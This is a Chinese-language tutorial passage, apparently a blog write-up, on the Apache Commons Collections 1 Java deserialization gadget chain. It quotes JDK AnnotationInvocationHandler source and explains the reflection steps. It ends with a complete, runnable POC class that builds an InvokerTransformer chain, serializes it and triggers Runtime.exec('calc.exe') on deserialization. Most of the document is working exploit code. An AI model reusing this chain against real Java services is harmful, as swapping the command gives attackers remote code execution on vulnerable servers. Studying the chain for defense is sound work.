//创建Transformer数组
Transformer[] invokerTransforms = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransforms);
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //<============这里这里这里!!!!!!!!!
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们要先实例化这个类,由于他的构造函数是default
AnnotationInvocationHandler(Class extends Annotation> type, Map memberValues) {
Class>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
所以我们只能通过反射来获取这个类的实例,Annotation是注解的意思
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationHandlerconstructor.setAccessible(true);
Object o= annotationHandlerconstructor.newInstance(Target.class,transformedMap);
这个Target是java的注解,至于为什么用他,后面会说到,先看看Target的源码
public @interface Target {
ElementType[] value();
}
Transformer[] invokerTransforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
//创建Transformer数组
Transformer[] invokerTransforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//创建ChainedTransformer实例
ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransforms);
//创建Map实例map
Map map=new HashMap<>();
//给map添加键值对
map.put("value","wzx");
//创建TransformedMap实例
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//实例化AnnotationInvocationHandler类
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationHandlerconstructor.setAccessible(true);
Object o= annotationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
//触发反序列化链
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}